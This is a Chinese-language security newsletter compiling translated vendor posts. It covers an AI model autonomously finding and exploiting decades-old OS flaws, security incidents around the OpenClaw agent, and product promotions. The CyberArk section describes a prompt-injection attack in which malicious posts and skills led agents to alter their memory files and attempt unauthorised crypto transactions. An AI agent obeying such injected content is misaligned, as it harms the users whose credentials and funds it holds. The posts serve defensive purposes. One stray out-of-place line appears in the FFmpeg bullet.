資訊悅報 Vol.42｜Bitdefender: 當 AI 能在幾小時內攻破存在 20 年的舊系統，企業該如何從「信任軟體」轉向「監控行為」的實時零信任

部落格來源網址：What Mythos Reveals About Zero Trust’s Scope Problem｜Mythos 揭示了關於零信任範疇問題的什麼？

Mythos 揭示了關於零信任範疇問題的什麼？

媒體對 Anthropic《Mythos 紅隊報告》的報導，其發展軌跡可謂意料之中：先是聳動的標題，接著是從驚惶到不以為然的各種反應，卻鮮少真正探討這項研究實際揭示的內容。這一點值得糾正，因為《Mythos》所揭示的，主要並非關於人工智慧發現漏洞的故事。

《紅隊報告》實際記錄了什麼

Mythos Red Team 部落格（Anthropic Red Team 部落格，2026 年 4 月 ）詳細記錄了幾項零日漏洞。儘管 Mythos 發現的漏洞遠不止於此，但文中僅列舉了其中少數幾項。
負責任的披露（即在公開漏洞細節前先私下通知軟體供應商，以便給予他們時間發布修補程式）可避免公開尚未修補的漏洞細節。Mythos 發現的漏洞中，已修補的不到 1%。

以下這些有據可查的案例及其多樣性便是明證；而那些尚無法公開討論的數以千計的案例，則彰顯了其規模之龐大。

  • OpenBSD，誕生至今已 27 年。
    OpenBSD 是一款以安全性為首要設計目標的作業系統。它常被用於運行防火牆、路由器及關鍵基礎設施，這類系統正是組織機構為了追求高度強化而特別選用的。
    Mythos 發現了一個漏洞，讓遠端攻擊者僅需連線至該系統，即可導致任何運行該作業系統的機器當機。這屬於一種「拒絕服務」（DoS）狀況：攻擊者雖無法藉此取得對該機器的控制權，但能使其離線。
    對防火牆而言，這是一個有意義的成果。Mythos 在一夜之間自主地發現了它。
  • FFmpeg, 16 years old.FFmpeg誕生至今已 16 年。
    FFmpeg 是一款廣泛用於處理影音的函式庫。
    該漏洞是一種記憶體損毀漏洞（即程式將資料寫入不應寫入的記憶體區域，可能使攻擊者得以操控程式行為的一類錯誤），存在於某特定程式碼行中，而自動化測試工具已對該程式碼執行了五百萬次測試，卻未能偵測到此漏洞。
    「紅隊」部落格並未針對此漏洞賦予超越記憶體損毀發現之外的具體影響；重點在於偵測的難度。五百萬次嘗試。十六年。
    一位模特，一場拍攝。
  • FreeBSD NFS, 17 years old, CVE-2026-4747.FreeBSD NFS，存在 17 年之久，CVE-2026-4747。
    這是目前已知最嚴重的案例。NFS（網路檔案系統）是一種允許電腦透過網路共享檔案的協定。
    此漏洞允許未經身份驗證的遠端攻擊者，即先前未曾存取該系統的攻擊者，以完全的 root 權限執行任意程式碼。root 權限意味著對該機器擁有完全的控制權。
    Mythos 完全自主地開發了這項漏洞利用程式，採用了一條由 20 個小工具組成的 ROP 鏈（這是一種利用記憶體中現有程式碼的片段來構建攻擊，而非注入新程式碼的技術），並將其分散在多個網路封包中。沒有免責聲明。也沒有測試框架的限制。
    針對真實目標的有效漏洞利用。
  • Linux kernel, local privilege escalation.Linux 核心，本地權限提升。
    第四種情況是一種鏈式漏洞利用，可讓攻擊者從普通的無特權使用者帳戶取得對整台機器的完全控制權。
    權限提升是指某個程序獲得其初始啟動時未具備的更高系統存取權限，這正是 Mythos 在此處透過鏈式競態條件（一類結果取決於哪個操作先完成的漏洞，攻擊者可操縱該時序）及 KASLR 繞過技術所自主運用之手法 （KASLR 核心位址空間佈局隨機化，是一種防禦技術，透過隨機化作業系統在記憶體中放置自身程式碼的位置，以增加攻擊的難度；繞過此機制是一項重大的技術成就）。
    這需要先在目標機器上取得立足點，但一旦取得，便能完全控制整個系統。

這些並非新的漏洞，它們早在 Mythos 之前就已存在，該模型只是發現了原本就存在的事物。

與 Fuzzing 的類比

我在閱讀 Mythos 報告時，想到的是 fuzzing 的發展歷程。Fuzzing 是一種自動化測試技術，透過向軟體餵入隨機或格式錯誤的輸入來找出當機與漏洞，粗略來說，就像不斷嘗試硬體設備上的各種按鍵組合，直到某個地方壞掉為止。當 fuzzers 首次大規模出現時，人們擔心攻擊者會利用它們，比防守方更快找到漏洞。事實上，他們確實如此。但如今 fuzzers 已成為關鍵的防禦工具：Google 的持續式 fuzzing 平台 OSS-Fuzz，已在攻擊者利用前，於開源軟體中找出數以萬計的漏洞。

Red Team 部落格也獨立得出相同的類比，指出 AFL 與其他類似 fuzzers「如今已是資安生態系中的關鍵組成」，儘管一開始也曾擔心它們會被攻擊者利用 (Anthropic Red Team blog, April 2026）。Mythos 類模型與 fuzzing 的關鍵差異在於速度。Fuzzing 花了數年才成為顯著的威脅向量；LLM 在這個領域的能力，則是以月為單位快速演進。Anthropic frontier red team 負責人 Logan Graham 表示，其他供應商在六到十八個月內就可能推出相近能力（Axios，2026 年 4 月）。

正確的論點應該是：不是「Mythos 具有獨特的危險性」，而是「這項能力將會無所不在，且擴散速度將比模糊測試更快。」

漏洞不等於利用程式碼，但 Mythos 兩者兼備

當 Opus 4.6 在 Firefox 中發現 112 個漏洞時，LinkedIn 曾對 Anthropic 先前針對 Firefox 的研究進行了廣泛報導。然而，那些技術性的免責聲明卻未被廣泛傳播。如今，Mythos 又重演了同樣的模式。這篇文章值得在此進行詳細說明。

漏洞是指軟體中的缺陷，一種程式碼錯誤，在特定條件下，可能使攻擊者得以執行本不該被允許的操作。而漏洞利用則是指實際運用該漏洞來達成特定目標的有效攻擊手段。
這是兩種不同的問題。找出漏洞已經很困難，而要編寫出能對付真實且設有防禦措施的目標、且確實有效的可靠漏洞利用程式，則難度更高。

在我們那場探討 AI 攻擊能力的線上研討會中，我們使用「半漏洞利用（half-exploits）」一詞來描述這些弱點，它們屬於有限的概念驗證，而非真正的攻擊武器 (Bitdefender webinar: WTH Even is an AI Attack).  。Opus 4.6 針對 Firefox 的研究，在很大程度上就屬於這一類別。

Mythos 在 Firefox 上的結果，則是在更高數量下帶有同樣的限制。Red Team 部落格中的原文但書是：「these exploits target a testing harness mimicking a Firefox 147 content process, without the browser’s process sandbox or other defense-in-depth mitigations.」。
Red Team 部落格中的確切免責聲明如下：「這些漏洞利用是針對模擬 Firefox 147 內容進程的測試框架，該框架未啟用瀏覽器的進程沙箱或其他深度防禦緩解措施。」現代瀏覽器會在多層隔離環境（沙箱）中執行網頁內容，這些環境專門設計用於限制漏洞即使被利用後所能造成的危害。 在現實世界中，要成功利用瀏覽器漏洞，必須串聯多個漏洞才能突破每一層防護。
Mythos 結果中的 181 個 Firefox 漏洞，是在未啟用這些防護措施的情況下進行測試的。與先前研究屬同一類別；數量卻多達 90 倍。

但 Mythos 的影響更為深遠。FreeBSD 的 NFS 案例並未附帶類似的免責聲明。這是一個針對真實目標的、完整且完全自主的遠端程式碼執行漏洞利用。沒有任何防護機制。也沒有移除沙箱。
此外，在 Firefox 的測試中，那條能同時突破瀏覽器渲染器沙箱與作業系統沙箱的四項漏洞鏈，代表著真正的技術能力提升，而不僅僅是漏洞數量上的增加。

Mythos 同時產生兩類結果：大規模的半有效漏洞利用，以及某些情況下真正有效的漏洞利用。正確的解讀並非「因此 Mythos 並不危險」，而是：從發現漏洞到成功利用之間的差距正在縮小，而在某些情況下，Mythos 已經完全消除了這道鴻溝。

在四月初發表的一篇文章中，我曾指出，目前人工智慧對防禦方比對攻擊方更有益處，而且我們現在能夠準確評估這一點，而非僅憑推測(The Hacker News, April 2026) 。開源的要求印證了這一評估：防禦方擁有外部攻擊者通常缺乏的原始碼存取權限、執行時背景以及行為基準。

兩種攻擊路徑，一條遭入侵的供應鏈

這讓一個更迫切的問題浮上檯面：在哪些情境下，攻擊者已經能夠取得原始碼？開源函式庫是現代軟體供應鏈的基礎組件，而它們的定義就是公開的。

任何想要在廣泛使用的元件中尋找漏洞的攻擊者，其實早已擁有與 Anthropic 測試中展示 Mythos 能力時相同的完整原始碼存取權限。無需憑證、無需社會工程學手段、也無需內部人員的協助。
該程式碼對所有人開放，而「Mythos」級模型能夠自主地進行大規模分析。

目前還有一種互補性的攻擊途徑正逐漸受到青睞。
針對受信賴維護者的社會工程攻擊，能讓攻擊者獲得數百萬家組織所使用的套件的寫入權限,，對於無法直接存取原始碼的閉源或半開放專案而言，這正是攻擊者滲透受信賴發行管道的途徑。

2024 年的 XZ Utils 後門攻擊遵循了以下模式：先在廣為使用的壓縮函式庫中，耐心培養出受信賴的維護者角色，隨後在無人察覺的情況下，透過正常更新管道分發精心植入的後門(Bitdefender advisory, April 2024) 。 在 2026 年 3 月發生的 Axios 攻擊事件中，一名北韓國家行為者入侵了首席維護者的個人電腦以竊取其帳戶憑證，隨後發布了某個每週下載量超過 1 億次的函式庫惡意版本 (Bitdefender advisory, March 2026)  。

這兩條路徑並非相互對立的解釋，而是互補的方法，最終指向相同的結果。Mythos 級別的模型降低了在公開可用的開源程式碼中尋找漏洞的成本。
針對維護者的社會工程攻擊，能在那些原本需要額外步驟才能取得原始碼存取權限的專案中，為可信賴的套件取得寫入權限。這些案例的共同結論是：信任軟體並非可靠的安全策略。

為何多層次安全措施變得愈發重要

「零信任」是一項廣泛應用於網路的安全原則：與其僅因流量源自企業內部網路就予以信任，不如無論來源為何，皆對每項連線進行驗證。此原則同樣適用於程序執行。
與其僅因某個程序來自已簽名且受認可的二進位檔就予以信任，不如在執行時驗證該程序實際在執行什麼。
任何開始建立意外網路連線、存取無故觸及的檔案，或執行記憶體中無對應磁碟檔案之程式碼的程序，無論其來源為何，其行為都值得仔細檢視。

Advanced Threat Control (ATC)「進階威脅控制」（ATC）會在執行期間持續監控進程行為，涵蓋超過 340 項行為特徵。ATC 已投入實際運作超過十年。這並非針對 Mythos 所採取的新對策。
這是一種在 Mythos 問世之前便已正確的架構，隨著 Mythos 級別功能的普及，其重要性也日益提升。

Axios 攻擊事件提供了具體的實證，我們的遠程監測數據顯示，在受感染的套件發布至 npm 六分鐘後，系統便首次偵測到 ATC 活動，並在任何公開報導將 Axios 與此次攻擊事件聯繫起來之前，便已成功阻止了 Windows 端點上的執行。

ATC 處理的是惡意程式碼執行時會發生什麼情況。但在這之前還有一個層面：程式碼執行後能觸及哪些部分？

這種被稱為「就地取材」的手法，出現在我們對 70 萬起資安事件的分析中 84% 的高嚴重性攻擊中（Bitdefender 研究報告，2025 年 6 月 ）。 這些工具因具備正當性，預設即被視為可信。由於多數使用者能存取的權限遠超實際所需，導致攻擊面極為龐大。

在此處也應遵循相同的「零信任」原則：與其僅因某項工具在資源配置時已被授予，就認定其適合該使用者，不如驗證每位使用者實際使用的內容，並限制其餘所有項目。
這與群組原則或 AppLocker 等靜態白名單機制不同，後者是根據管理員對使用者需求的假設來進行限制。
動態行為分析會觀察使用者實際執行的程式，並針對每位使用者及每台機器限制其餘程式，並隨著行為的演變而進行調整。

PHASR（主動強化與攻擊面縮小） 是根據觀察到的行為來制定存取限制，而非基於管理層的假設。
受感染的程序所繼承的權限範圍大幅縮減：僅限於該特定使用者在該特定機器上實際使用的工具。PHASR 在漏洞利用程式執行前便已縮小其影響範圍；ATC 則在程式執行時偵測其行為。
這兩種情況都不需要該漏洞已被發現、已修補，或已在任何地方有相關紀錄。

Mythos 針對終端安全所提出的問題，並非在於傳統安全控制措施是否仍具價值，而在於哪些層級的重要性較以往更為關鍵。
邊界控制、修補程式管理以及基於簽名的偵測，並不會因人工智慧輔助的攻擊而變得過時，而是作為獨立策略時，已顯得力有未逮。

Mythos 帶來的改變在於經濟層面：發現漏洞並開發利用程式變得更快、更便宜，且越來越多過去無力為之的行為者也能輕易取得這些能力。這使得攻擊者在每個層級的能力上限都隨之提升。
行為偵測與動態攻擊面縮減，能讓攻擊者在每個防禦層級的成功難度隨之提高。隨著人工智慧能力的提升，這種關聯性非但不會減弱，反而變得更加重要。

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資訊悅報 Vol.41｜CyberArk: OpenClaw 警報：自主 AI 代理正悄悄改寫企業端點風險

部落格來源網址：How autonomous AI agents like OpenClaw are reshaping enterprise identity security｜像 OpenClaw 這樣的自主 AI 代理如何重塑企業身分識別安全

OpenClaw 警報：自主 AI 代理正悄悄改寫企業端點風險

OpenClaw（前身為 Clawdbot 和 Moltbot）的爆紅風潮已席捲科技界，不僅在 GitHub 上累積超過 16 萬顆星，更引發了一股搶購 Mac Mini 的熱潮，用以託管這些全天候運作的助理。 被譽為 「擁有雙手的 Claude」 的 OpenClaw 標誌著一場重大轉變：人工智慧正從一位樂於助人且據稱服從的助手，蛻變為一位全能的自主代理 ，能夠管理電子郵件、執行終端機指令，並與 WhatsApp、Slack 和 GitHub 等應用程式互動。
這些難以預測且享有特權的實體，能夠代表其人類創建者運作，並掌握通往其數位數據王國的鑰匙，因而構成重大風險。

對使用者而言，OpenClaw 是一項強大的生產力工具。對企業資訊安全長（CISO）來說，這是一場針對新型 身分安全 攻擊面的實戰演習。它象徵著身分安全的噩夢。當傳統邊界逐漸消融， 自主實體雖以使用者級權限運作，卻缺乏人類級的可預測性 。 這正體現了 AI 代理風險的致命三重威脅。此概念由資安研究員 西蒙·威利森 提出，包含存取私人資料、接觸不可信內容，以及代表使用者採取行動的權限。

試想一位開發人員從企業電腦存取其 OpenClaw 環境，或將其部署於企業網路內以整合 Slack、Teams 或 Salesforce。這些操作會形成一個高風險的入口，使得自主代理程式在 傳統身分與存取管理 (IAM) 控制措施的監管範圍外運作。 若缺乏存取限制與嚴格的身分管理，單一邏輯疏失或漏洞利用便可能引發大規模的身分洩漏與災難性資料外洩，最終透過未經審查的流程，將數位王國的鑰匙交到惡意攻擊者手中。

OpenClaw 的威脅：給企業的一記警鐘

儘管 OpenClaw 承諾以本地優先的隱私保護為核心，但其迅速普及卻暴露了若干關鍵的安全漏洞，這些漏洞正威脅著其自主生態系統的完整性。

DepthFirst 的資安研究員 Mav Levin 發現了 「一鍵遠端執行」（CVE-2026-25253） 漏洞，此漏洞中，惡意連結會觸發 WebSocket 連線程序，導致憑證外洩並執行任意 shell 指令。

由 Gal Nagli 領導的 Wiz 團隊在 Moltbook 社交網路中發現了一個 設定錯誤的資料庫 ，導致 150 萬個 API 金鑰、3.5 萬個用戶電子郵件地址以及私人訊息外洩。Nagli 的研究還揭露，這 150 萬個機器人僅由 17,000 個帳戶所控制。

Koi Security 對 ClawHub 市集上的 2,857 項技能進行審計後，發現了 341 項惡意條目。其中包括 335 項來自 ClawHavoc 行動的技能，這些技能旨在部署資訊竊取程式，例如 Atomic Stealer。

Permiso 的資安研究人員發現了一種提示注入攻擊，該攻擊利用 Moltbook 上的惡意貼文及 ClawHub 上未經審核的技能，誘導代理程式篡改自身的內部記憶體檔案，並試圖進行未經授權的加密貨幣交易。

這些問題很可能只是冰山一角，且對身分安全具有令人擔憂的潛在影響，因為 OpenClaw 代理程式是基於授權進行運作的。
這意味著，只要單一項技能遭到入侵或被植入提示語，駭客便能劫持用戶的整個數位身分，藉此簽署法律文件、存取銀行帳戶，或在網路上冒充該用戶。

這些事件共同凸顯了一項更廣泛的身分安全挑戰，即當自主代理具備相當大的權限時，此類挑戰便會浮現。組織必須意識到，這些風險能在環境中以多快的速度蔓延。
這些風險可透過三個關鍵壓力點來理解，這些壓力點形塑了企業環境中自主代理的身份安全攻擊面。

繪製自主代理的身份安全攻擊面

隨著這些 AI 代理逐漸滲入企業環境——通常是以員工部署的 「影子 AI」 形式出現——它們帶來了三項明確的壓力點：

1. 終端權限與「神模式」的謬誤
OpenClaw 通常需要高階權限才能發揮作用。在企業環境中，開發者筆電上的代理程式可能繼承讀取 SSH（安全殼層） 金鑰或以機器速度修改原始碼的能力。

2. 洩露的機密與代幣金礦
代理程式對憑證需求殷切，常將敏感的 API 金鑰儲存於 .env 檔案或本機目錄中。OpenClaw 更因將 MEMORY.md 和 SOUL.md 以明文形式儲存，而面臨 認知情境竊取 的風險。

3. 存取權限、授權及會話期間的行為
傳統的 IAM 是為人類設計的，但 AI 代理程式具有非確定性 。代理程式雖繼承了使用者的授權，但可能會執行使用者從未預期的操作。

具代理能力的 AI 安全：最佳實踐與緩解措施

OpenClaw 是「代理化未來」的先驅。雖然目前仍處於病毒式實驗階段，但它極有可能為自主機器人提供藍圖，而這些機器人終將成為企業營運的基石。

儘管這些工具尚未準備好投入生產環境，但開發人員向來是具備強烈探索精神的早期採用者，因此很可能現在就會在本地部署這些工具，以實現複雜工作流程的自動化。
若未採取適當的緩解措施，這些「隱蔽」部署將使代理程式得以使用高階權限運作，並在資安團隊建立監管機制之前，便已取得 SSH 金鑰及內部程式碼庫的存取權限。

此外，即使代理程式並非部署在本地，從企業內部存取外部部署的使用者介面，仍會為將敏感機密資訊和憑證外洩至未經授權的第三方環境開闢一條直接途徑。

為有效應對這些風險，組織可針對上述三個領域——端點權限、敏感資訊外洩以及存取行為來建構其防禦體系。以下建議正是針對這三個領域提出的。

終端權限：「神模式」的謬誤

為防範權限提升，組織可採用以下控制措施：

  1. 沙箱隔離
    在經過強化且唯讀的容器（例如 Docker 或專用虛擬機器）中執行 OpenClaw 等代理程式，以防止它們存取主機的根檔案系統或 SSH 金鑰。
  2. 命令與檔案系統白名單
    設定代理程式可互動的授權終端機命令及目錄路徑之明確清單，而非授予無限制的存取權限。
  3. 手術級終止開關
    維持技術能力，可在不干擾一般使用者會話的情況下，立即暫停代理程式在當地的身分識別，並終止其正在執行的程序。

揭露的秘密：代幣金礦

為降低因機密資訊過度擴散所帶來的風險，團隊應採取以下措施：

  1. 密鑰輪替與注入
    為代理程式使用的所有密鑰實作自動輪替機制。與其將憑證儲存在純文字檔案（例如 .env）中，不如在執行時將其注入代理程式的執行環境中。
  2. 範圍限定與短效憑證
    逐步淘汰「全權存取」憑證。改用會自動過期的短期、任務專用憑證，藉此限制攻擊者可能入侵代理程式記憶體時可利用的時機窗口。
  3. 代理強化
    設定主機端代理伺服器，強制執行網路層級的出站允許清單。此舉可確保即使代理程式遭誘騙而竊取機密資訊，亦無法將其外洩至未經授權的外部網域。

存取：權限與會話期間的行為

要確保自主系統的安全存取，必須做到：

  1. 零常駐權限 (ZSP)
    採用 即時 (JIT) 存取 模型，僅在任務執行的特定期間內授予代理權限，確保其無法永久存取敏感的資料庫或應用程式。
  2. 經過驗證的授權
    應摒棄冒充機制。改採 OAuth 風格的授權機制，將每個代理的動作追溯至實際操作者，並針對高風險或具破壞性的動作，要求進行 帶外 (OOB) 驗證 （例如推送通知）。
  3. 會話監控與偵測
    持續追蹤所有「影子 AI」代理程式。利用即時可觀測性，將非確定性的代理程式行為與人類使用者的身分建立關聯，以確保明確的稽核追蹤能力與風險評分。
  4. 最小權限原則
    透過為資料分析任務定義「唯讀」角色來限制代理程式的功能範圍，並嚴格要求在代理程式修改系統檔案或執行金融交易前，必須獲得人工介入（HITL）的批准。

這些問題清楚地表明，OpenClaw 預先揭示了隨著自主代理在企業環境中日益普及，將隨之浮現的以身分為核心的風險。

這類風險正在迫使企業重新建立以身分為核心的存取與憑證治理架構。

OpenClaw 向企業傳達的訊息：人工智慧代理的安全防護必須立即著手

OpenClaw 的工具本身雖非企業級 ，但仍為理解自主代理程式如何影響企業安全提供了有用的藍圖。OpenClaw 和 MoltBook 未受管控的擴散，顯示了當代理程式在擁有廣泛權限且行為難以預測的情況下運作時， 以身分識別為核心的風險會以多快的速度產生。
為了確保這道防線的安全，企業必須主動降低代理程式獲得過多本地權限的風險，以免其突破預設的沙箱環境，進而竊取 SSH 金鑰、修改系統檔案或存取敏感資料。

透過實施現代化身分識別安全控制措施（例如 零預設權限 ）、運用 機密管理 來消除明文機密，以及要求高風險操作須經 人工介入 批准，資訊安全長（CISO）便能強化 AI 代理活動的安全性與可稽核性，即使其系統正從簡單的助理演變為未來完全自主的數位工作者亦然。

Lavi Lazarovitz 是 CyberArk Labs 的網路安全研究副總裁，Mark Cherp 則是該公司的安全研究總監。

進一步了解 OpenClaw 的風險與漏洞

若想進一步了解 OpenClaw 和 Moltbook 所涉及的身分識別相關風險，請觀看下方由 CyberArk Labs 資深攻擊策略推廣專家 Andy Thompson 所製作的影片。

How autonomous AI agents like OpenClaw are reshaping enterprise identity security

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資訊悅報 Vol.40｜REFORM REASON: 為什麼增加人手無法解決 IT 過勞？解構成長期企業的維運黑洞

擺脫「成長期陣痛」：
為何中型企業維運團隊正面臨崩潰危機？

公司規模從 250 人成長到 1,000 人的過程中，是一個危險的轉型期。

你的規模已大到會遇到「大公司級的技術難題」，卻往往缺乏足夠的架構與資金來建立足以捍衛企業級標準的資安體系。

我們稱這個階段為「混亂中場 (Messy Middle)」。

數據顯示，這對於維運與穩定性團隊來說是最痛苦的階段。

過勞的完美風暴：當告警變成雜訊 

中型企業承受著極高的「告警疲勞 (Alert Fatigue)」，根據針對此特定規模企業的研究：

  • 60% 的受訪者表示團隊花費過多時間處理無效告警。
  • 27% 抵達 SOC 的威脅告警 因量體太大而被直接忽略。
  • 51% 的基層人員表示他們的私人生活「一直或經常」被工作打斷——這比其他規模的企業高出 15%。

在台灣，這類情境常出現在半導體供應鏈 或 金融科技初創。

隨著業務跨國擴張，IT 團隊在人手不足的情況下，必須處理與大型企業同等級的複雜環境，導致資深人員忙於「救火」而無法進行「架構優化」。

你無法單靠「招人」脫困，你需要 RE:FORM REASON 

對於處於「成長期陣痛」的企業，為每個技術環節配備專職專家在財務上並不可行。

這正是 RE:FORM REASON 作為「戰力倍增器」的核心價值：

  • SRE 經驗的數位傳承
    當您的核心團隊與 REASON 互動時，它會學習並記錄。它將團隊中的「隱性知識」數位化，確保當過勞發生或人員流動時，維運智慧能留在平台內。
  • 100% 地端安全保障
    成長中的企業常是高價值攻擊目標。REASON 完全在地端運行，讓您在解決大公司問題的同時，維持嚴格的數據主權，符合台灣金管會與相關資安法規。
  • 營運效率的量化提升
    透過自動化故障調查流程，REASON 能大幅減輕壓力，解決導致中型企業過勞率高出平均 14% 的根本問題。

不要讓業務增長壓垮您的團隊。部署一個能與企業同步成長的 AI Agent。

立即聯絡我們 

資訊悅報 Vol.39｜Vicarius: 從雜訊到決策：vIntelligence 如何協助 CISO 掌握真實曝險優先權

部落格來源網址：From Alert Overload to Closed-Loop Security: Introducing vIntelligence

AI 時代的資安革新：Vicarius vIntelligence 如何重新定義曝險評估與漏洞修補市場

現今的資安團隊正面臨一個尷尬的悖論：儘管擁有的工具比以往任何時候都多，包括各類掃描器、SIEM、端點代理程式與雲端監控，但對於環境的掌控感卻是史無前例的低。告警堆疊的速度遠遠超過團隊能分流審核的極限。週一被標記出的漏洞，往往在分析師處理成千上萬個「誤報」時，被迫擱置數週得不到修補。與此同時，攻擊者正利用 AI 工具，在幾小時內就將新揭露的漏洞轉化為攻擊武器。

這正是 vIntelligence 誕生要解決的關鍵落差。

身為資安修補平台 vRx 的開發者，Vicarius 協助全球團隊實現大規模漏洞自動化修補。如今更正式推出 vIntelligence。這是一個次世代的情資與驗證層，能持續整合、標準化、驗證並優先排序整個企業資安架構中漏洞優先順序。

vRx 與 vIntelligence 結合後，形成一個完整的閉環曝險管理平台：從漏洞發現到修補落地，每一步都有驗證機制與可追溯的證據。

核心困境：破碎化的傳統漏洞管理已失效

在深入瞭解 vIntelligence 的價值前，必須先直視現狀的崩解。多數企業目前運行的是「孤島式」的資安堆疊：各品牌漏洞掃描器、端點偵測工具與雲端安全管理工具各自為政。這些工具產出各自的數據、嚴重性評分與告警佇列，彼此之間完全缺乏有效的溝通與關聯。

這種現況導致了資安領導者感同身受的四大加劇危機：

危機類型 台灣企業現狀挑戰 經營層面臨的風險
速度危機 漏洞在揭露後幾小時甚至幾分鐘內即被利用，但多數企業仍維持「按季」或「按月」掃描。 曝險時間窗過大，攻擊者擁有絕對的時間優勢。
精準危機 超過 95% 的漏洞告警實際上是無害的誤報，團隊精力被雜訊掏空。 營運效能低落，IT 資源被浪費在無效的救火工作。
處置危機 多數平台僅止於「發現」，缺乏從偵測到自動化修補的對接路徑。  70% 的量能被卡在分流審核，始終無法進入實質修補階段。
 成本危機  數據外洩平均成本已達 445 萬美元，且 60% 與已知但未修補的漏洞有關。  財務損失風險劇增，且面臨日趨嚴苛的法遵要求。

讓情況更糟的是，攻擊方已全面啟動 AI 威脅加速。過去需要國家級資源才能執行的自動化利用程式開發、未修補系統的快速鎖定，現在已被更廣泛的威脅行為者掌握。

數據顯示，每天會出現超過 130 個新漏洞。關鍵在於：高達 80% 的漏洞利用程式（Exploits）在 CVE 編號正式發布前就已在黑市流傳。 這意味著在官方開始追蹤之前，防禦者就已經處於長達 23 天 的防禦真空與盲點中。

漏洞利用速度：從「數月」縮短至「數分鐘」

隆重介紹 vIntelligence：您的情報與驗證中樞

vIntelligence 是 Vicarius 推出的第二款旗艦產品。

這是一個獨立的情報平台，旨在填補傳統漏洞管理工具的技術空白：即時針對企業整體資安堆疊中的漏洞，進行持續性的「驗證、優先級判定與修補準備」。

在資安維運的流程中，vRx 與 vIntelligence 分工明確，共同建構完整的防禦鏈：

相關性檢查：此漏洞是否真的適用於您的環境和配置？

  • vRx 解決「修補端」問題：實現大規模的補丁管理、自動化腳本與系統組態修正
  • vIntelligence 解決「上游端」挑戰：回答資安管理的關鍵問題，哪些漏洞是真實存在的？哪些對特定環境具有實質威脅？我們應該優先處理哪一個？

從碎片化告警到統一風險視角
vIntelligence 能自動攝取企業現有的資安工具數據，包括 CrowdStrike／Qualys／Tenable 等異質廠商，透過異質情資整合與標準化（Universal Intelligence Normalization）技術，將分散的數據整合為統一且持續更新的風險視圖。

隨後，系統會疊加 AI 驅動的驗證技術，將真實的曝險從海量雜訊中精準分離。這項技術帶來的直接效益極為顯著：資安團隊能將寶貴的時間投入在真正關鍵的風險上，徹底擺脫那 95% 無效告警造成的資源虛耗。

異質情資整合與標準化

由 vAnalyzer 驅動的大規模精準分析

企業資安維運中最頑強的痛點之一，莫過於「數據碎片化」。平均一家中大型企業同時運行 5 到 20 種資安工具，每種工具都以其私有的資料格式與專屬的嚴重性評級框架產出數據。在 A 工具被認定為「緊急 (Critical)」的發現，在 B 工具中可能僅被評為「中等 (Medium)」。這導致企業內部缺乏統一視圖、缺乏共同語言，更無法在相同的基準點上進行風險對比。

vIntelligence 透過「異質情資整合與標準化」引擎徹底解決了這個問題。該平台能串接任何資安廠商，攝取其數據資料並通過高效的五階段處理流程：

資料導入 → 情資標準化 → 情境強化 → 風險分析 → 風險優先排序

其中，「情境強化」是 vIntelligence 超越單純數據彙整的關鍵。系統會將每個漏洞與全球領先的威脅情資來源進行交叉比對，並映射至 MITRE ATT&CK 攻擊框架。這意味著您的風險評分不再只是基於「理論上的嚴重度」，而是真實反映了現實世界中的漏洞可利用性、威脅行為者的活躍程度，以及該漏洞是否已在野被「武器化」。

最終產出的結果是單一、精準且持續更新的「真實曝險視圖」。這不再只是工具「認為」可能有問題，而是根據您當前的特定環境，明確指出哪些資產正處於實質威脅之中。

技術機制與治理價值對照表

vIntelligence  關鍵技術 功能細節描述 企業獲得的價值與效益
異質情資整合與
標準化		 自動轉換異質工具，如 Tenable／Qualys／CrowdStrike 的私有格式。 消除數據孤島： 讓各類資安工具使用統一語言，決策不再因數據衝突而停擺。
五階段智慧管線 執行資料導入、情資標準化、情境強化、風險分析與優先排序。 結構化維運： 將雜亂的原始數據轉化為具備「處置優先級」的行動清單。
情境強化與 MITRE Mapping 整合實時威脅情資，將漏洞關聯至具體的攻擊者行為模式。 掌握實戰風險： 區分「理論漏洞」與「武器化威脅」，優先處理真正會被駭的點。
vAnalyzer AI 分析 利用地端 AI 分析引擎確保大規模數據處理的深度與準確性。  大規模精準度： 在處理海量告警時，依然能維持極高的判斷精度，避免人工誤判。

AI 紅隊代理式驗證：零中斷的漏洞實戰測試

知道漏洞存在只是第一步。確認該漏洞在「您的特定環境」中是否真的具備可利用性，則是完全不同的挑戰，這正是傳統工具始終無法解決的核心痛點。

vIntelligence 的 AI 紅隊 （AI Red Team） 功能是一個「代理式驗證引擎 （Agentic Validation Engine）」。它能在不冒險影響生產環境穩定性的前提下，自動測試漏洞是否真的可以被利用。這絕非僅能執行有限攻擊向量與預定義場景的傳統入侵與攻擊模擬（BAS）工具，而是一種本質上的技術躍進。

針對每個排定優先順序的漏洞，AI 紅隊會執行以下五步驟自動化流程：

  • 關聯性檢查 Relevance Check：判斷此漏洞是否確實適用於您的系統環境、軟體版本與組態配置？
  • 漏洞利用程式搜尋 Exploit Search：自動搜尋全球已公開的漏洞利用程式（Exploits）或概念驗證代碼（PoC）？
  • AI 腳本自動生成 AI Generation：當現有腳本無法精準匹配時，AI 會根據需求即時產製客製化的驗證腳本。
  • 多維度向量測試 Multi-Vector Test：從多個攻擊向量進行測試，以取得最完整的威脅路徑輪廓。
  • 安全驗證 Safe Validation：所有測試均採用安全技術執行，確保生產環境維持營運、達成零中斷目標。

這項技術的實質影響力顯而易見。傳統 BAS 平台僅能驗證有限且固定的場景，無法判斷某個特定 CVE 在您的環境中是否具備可利用性。
vIntelligence 的 AI 紅隊則能在幾分鐘內完成大規模驗證，透過「真實利用測試」而非單純的「理論風險評分」，成功排除 95% 以上的誤報雜訊。

技術比較 ：AI 紅隊驗證 vs. 傳統 BAS  

比較維度 傳統入侵與攻擊模擬 (BAS) Vicarius AI 紅隊 (Agentic AI)
測試邏輯 僅限預定義的固定腳本與場景。 動態生成： AI 根據環境即時產製驗證腳本。
針對性 測試通用的防禦控制力。 特定漏洞驗證： 針對特定 CVE 進行實測。
精準度 基於模擬結果推估。 實戰確認： 透過無損利用測試排除 95% 誤報。
處理速度 定期排程測試。 分鐘級回應： 漏洞出現即刻執行大規模驗證。
維運影響 需擔心模擬行為干擾網路。 零中斷保證： 設計初衷即為確保生產環境穩定。

建構安全閉環：從情資分析到實質修補

多數資安平台擅長「產生告警」，卻極少能真正「解決問題」。這正是 vRx + vIntelligence 組合所填補的核心鴻溝。

在 Vicarius 的架構中，兩大產品各司其職且原生串接：

  • vIntelligence 負責情報端：執行持續性的資料導入、情資標準化、情境強化、風險分析與風險優先排序，並結合 AI 驅動的漏洞利用驗證。
